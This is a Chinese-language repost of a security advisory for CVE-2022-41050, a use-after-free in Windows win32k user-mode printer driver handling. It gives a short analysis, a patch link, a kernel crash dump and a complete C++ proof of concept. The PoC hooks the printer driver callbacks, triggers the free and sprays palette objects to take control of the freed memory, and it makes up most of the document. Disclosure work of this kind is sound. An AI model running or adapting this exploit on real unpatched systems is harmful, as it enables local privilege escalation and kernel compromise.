总结
UMPD(用户模式打印机驱动程序)中存在一个漏洞,允许本地用户触发释放后使用漏洞。该漏洞适用于Windows 8及更高版本,并且在较旧的Windows计算机上很容易被利用。
原文链接:https://ssd-disclosure.com/win32k-user-mode-printer-drivers-startdoc-uaf/
Credit
从事 SSD 安全披露工作的独立安全研究人员。
CVE
CVE-2022-41050
供应商响应
供应商已在以下位置发布了可用的修补程序: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41050
技术分析
BoundClipRGNToSurface 合并表面的方式中存在一个漏洞,使得攻击者能够在释放后触发使用,因为该功能会释放使用的数据,然后访问它。如果释放的内存已正确准备,则攻击者可以控制崩溃并使其执行任意代码。
要触发漏洞,请启用 Windows 11 的特殊池并启动 PoC,将显示以下崩溃信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
CONTEXT: ffff808ee1ffd8a0 -- (.cxr 0xffff808ee1ffd8a0) rax=ffff82b24d980f90 rbx=ffff808ee1ffe500 rcx=ffff808ee1ffe440 rdx=ffff82b253fd2f90 rsi=ffff808ee1ffe848 rdi=ffff808ee1ffe4f8 rip=ffff829502061123 rsp=ffff808ee1ffe2c0 rbp=ffff808ee1ffe440 r8=ffff808ee1ffe450 r9=ffff82b253fd4f08 r10=414141414141413d r11=0000000000000000 r12=0000000000000000 r13=ffff808ee1ffe9a8 r14=ffff82b253fd4f90 r15=4141414141414141 iopl=0 nv up ei pl nz ac pe nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050212 win32kbase!RGNOBJ::bMerge+0x43: ffff8295`02061123 418b02 mov eax,dword ptr [r10] ds:002b:41414141`4141413d=???????? Resetting default scope PROCESS_NAME: poc-bound.exe STACK_TEXT: ffff808e`e1ffe2c0 ffff8295`032dcc4b : ffff808e`e1ffe440 ffff808e`e1ffe848 ffff808e`e1ffe450 ffff808e`e1ffe408 : win32kbase!RGNOBJ::bMerge+0x43 ffff808e`e1ffe410 ffff8295`032492d1 : ffff82b2`4d966ce8 00000000`00000000 ffff808e`e1ffea30 ffff808e`e1ffea30 : win32kfull!BOUNDCLIPRGNTOSURFACE::BOUNDCLIPRGNTOSURFACE+0x9385f ffff808e`e1ffe4a0 ffff8295`0324a97e : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kfull!EngStrokePath+0x61 ffff808e`e1ffe610 ffff8295`0324b05e : 00000000`00000d0d 00000000`1000a01f ffff808e`e1ffe780 00000000`00000001 : win32kfull!EPATHOBJ::bSimpleStroke+0x18a ffff808e`e1ffe6f0 ffff8295`0324e5e1 : 00000000`00000001 00000000`00000001 00000000`00000000 00000000`00000000 : win32kfull!EPATHOBJ::bStrokeAndOrFill+0x596 ffff808e`e1ffe910 ffff8295`0324df38 : 00000000`14210982 00000000`00000014 ffff808e`00000387 00000000`14210982 : win32kfull!GreLineTo+0x661 ffff808e`e1ffed40 ffff8295`024bd54a : 00000000`0000000e 00000000`0000025f 00000000`000003f8 ffffe784`60c40080 : win32kfull!NtGdiLineTo+0x68 ffff808e`e1ffedf0 fffff801`6b02f075 : 0000016b`f3d70680 0000016b`f6030000 0000003f`49daebd7 ffffe784`60d77080 : win32k!NtGdiLineTo+0x16 ffff808e`e1ffee20 00007ffb`148d1b14 : 00007ffb`13f72339 00007ffb`16acd240 0000016b`f3d71580 00000000`00000387 : nt!KiSystemServiceCopyEnd+0x25 0000003e`c9dae188 00007ffb`13f72339 : 00007ffb`16acd240 0000016b`f3d71580 00000000`00000387 00000000`00000000 : win32u!NtGdiLineTo+0x14 0000003e`c9dae190 00007ffb`14da4d37 : 0000016b`f3d73790 00000000`14210982 00000000`00000001 00000000`00000000 : gdi32full!LineToImpl+0x49 0000003e`c9dae1c0 00007ff7`7c29104c : 0000003e`c9daebd8 0000003e`c9dae320 00000000`000003f8 00000000`0049414e : GDI32!LineTo+0x37 0000003e`c9dae1f0 00007ffb`13f7ccbe : 0000003e`c9daebd8 0000016b`f57ba120 00000000`00000023 00007ffa`ddc50d68 : poc_bound!hook_DrvStrokePath+0x4c [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 111] 0000003e`c9dae230 00007ffb`157910be : 0000016b`00000001 00007ffb`00000000 0000003e`c9daebd8 0000016b`f57b0150 : gdi32full!GdiPrinterThunk+0x177e 0000003e`c9dae300 00007ffb`16b07e04 : 00000000`00000010 0000016b`f5802720 00000000`00000011 00007ffa`ddc4f998 : USER32!__ClientPrinterThunk+0x3e 0000003e`c9daeb80 00007ffb`148d1b14 : 00007ffb`13f72339 0000016b`f57ba170 00007ffa`ddbbbeb3 00000000`00000258 : ntdll!KiUserCallbackDispatcherContinue 0000003e`c9daec38 00007ffb`13f72339 : 0000016b`f57ba170 00007ffa`ddbbbeb3 00000000`00000258 00000000`00000258 : win32u!NtGdiLineTo+0x14 0000003e`c9daec40 00007ffb`14da4d37 : 00007ffa`ddc48ce0 00000000`14210982 00000000`00000001 00000000`00000000 : gdi32full!LineToImpl+0x49 0000003e`c9daec70 00007ff7`7c291146 : 0000003e`c9daf678 0000003e`c9daedc0 0000016b`f3d73790 0000003e`0049414e : GDI32!LineTo+0x37 0000003e`c9daeca0 00007ffb`13f7c55e : 0000003e`c9daf678 00007ffb`13f7c42a 00001b68`00001361 0000003e`c9daf688 : poc_bound!hook_DrvStartDoc+0x16 [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 115] 0000003e`c9daecd0 00007ffb`157910be : 00000000`00000001 00007ffb`00000000 0000003e`c9daf678 00007ffb`00000000 : gdi32full!GdiPrinterThunk+0x101e 0000003e`c9daeda0 00007ffb`16b07e04 : 00000000`00000000 00007ffb`16b07e04 00007ff7`7c293330 0000016b`f3d9e3f0 : USER32!__ClientPrinterThunk+0x3e 0000003e`c9daf620 00007ffb`148d7694 : 00007ffb`13faff32 00000000`00000000 00000000`00000000 00000000`14210982 : ntdll!KiUserCallbackDispatcherContinue 0000003e`c9daf6a8 00007ffb`13faff32 : 00000000`00000000 00000000`00000000 00000000`14210982 00000000`00000003 : win32u!NtGdiStartDoc+0x14 0000003e`c9daf6b0 00007ffb`14dae2c2 : 0000016b`f3da2601 00000000`00000001 0000003e`c9daf8f0 00000000`00000000 : gdi32full!StartDocWImpl+0x5b2 0000003e`c9daf870 00007ff7`7c291301 : 0000016b`f3d55db0 00000000`00000000 00000000`0049414e 00000000`00000000 : GDI32!StartDocW+0x32 0000003e`c9daf8a0 00007ff7`7c291540 : 00000000`00000000 00007ff7`7c2915b9 00000000`00000000 00000000`00000000 : poc_bound!main+0x1b1 [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 130] 0000003e`c9daf940 00007ffb`149154e0 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc_bound!__scrt_common_main_seh+0x10c [d:\a01\_work\43\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 0000003e`c9daf980 00007ffb`16a6485b : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x10 0000003e`c9daf9b0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2b |
PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 |
#include <stdlib.h> #include <stdio.h> #include <limits.h> #include <iostream> #include <windows.h> #include <vector> #include <winddi.h> #include <winternl.h> #define PRINTER_NAME L"Microsoft XPS Document Writer" typedef BOOL(*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded); HMODULE LoadPrinterDll() { HANDLE hPrinter = NULL; // Open printer if (!OpenPrinterW((LPWSTR)PRINTER_NAME, &hPrinter, NULL)) { puts("[-] Failed to open printer"); return NULL; } // Get the printer driver DWORD pcbNeeded; GetPrinterDriverW(hPrinter, NULL, 2, NULL, 0, &pcbNeeded); DRIVER_INFO_2W* driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded); if (!GetPrinterDriverW(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) { return NULL; } // Load the printer driver into memory return LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); } HPALETTE createpalette_primitive(SHORT chunk_size) { WORD palette_entries_count, palette_size; LOGPALETTE* palette; palette_entries_count = (chunk_size - 0x90) / 4; palette_size = sizeof(LOGPALETTE) + (palette_entries_count - 1) * sizeof(PALETTEENTRY); palette = (LOGPALETTE*)malloc(palette_size); memset(palette, 0x41, palette_size); palette->palNumEntries = palette_entries_count; palette->palVersion = 0x300; return CreatePalette(palette); } VOID spray(UINT _chunk_size, UINT count) { for (UINT i = 0; i < count; i++) { createpalette_primitive(_chunk_size); } } BOOL hook_DrvStrokePath(SURFOBJ* pso, PATHOBJ* ppo, CLIPOBJ* pco, XFORMOBJ* pxo, BRUSHOBJ* pbo, POINTL* pptlBrushOrg, LINEATTRS* plineattrs, MIX mix); BOOL hook_DrvStartDoc(SURFOBJ* pso, LPWSTR pwszDocName, DWORD dwJobId); void Setup_UmpdHook() { HMODULE hPrinter = LoadPrinterDll(); DrvEnableDriver_t DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hPrinter, "DrvEnableDriver"); DRVENABLEDATA ded; DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(ded), &ded); DWORD lpOldProtect; VirtualProtect(ded.pdrvfn, ded.c * sizeof(PFN), PAGE_READWRITE, &lpOldProtect); for (int i = 0; i < ded.c; i++) { if (ded.pdrvfn[i].iFunc == INDEX_DrvStrokePath) { ded.pdrvfn[i].pfn = (PFN)hook_DrvStrokePath; } else if (ded.pdrvfn[i].iFunc == INDEX_DrvStartDoc) { ded.pdrvfn[i].pfn = (PFN)hook_DrvStartDoc; } } } //===================== // Umpd Hooks //===================== HDC hdc = 0; int hook_DrvStrokePath_count = 0; BOOL hook_DrvStrokePath(SURFOBJ* pso, PATHOBJ* ppo, CLIPOBJ* pco, XFORMOBJ* pxo, BRUSHOBJ* pbo, POINTL* pptlBrushOrg, LINEATTRS* plineattrs, MIX mix) { hook_DrvStrokePath_count++; if (hook_DrvStrokePath_count == 1) { ExcludeClipRect(hdc, 0x25f, 0x3f8, 0x1, 0x387); LineTo(hdc, 0, 0); } else if (hook_DrvStrokePath_count == 2) { ExcludeClipRect(hdc, 0x10a, 0x2d2, 0x243, 0x217); Ellipse(hdc, 0x15a, 0x3a1, 0x29, 0x10a); spray(0x120, 0x1000); // Fill the Freed Region with 0x41414141 } return FALSE; // SHOULD RETURN FALSE } BOOL hook_DrvStartDoc(SURFOBJ* pso, LPWSTR pwszDocName, DWORD dwJobId) { LineTo(hdc, 0, 0); // -> causes hook_DrvStrokePath to be called return TRUE; } int main(int argc, char **argv) { Setup_UmpdHook(); hdc = CreateDC(NULL, PRINTER_NAME, NULL, NULL); DOCINFO di; ZeroMemory(&di, sizeof(di)); di.cbSize = sizeof(di); di.lpszDocName = L"Test"; di.lpszOutput = L"Test.xps"; StartDoc(hdc, &di); return 0; } |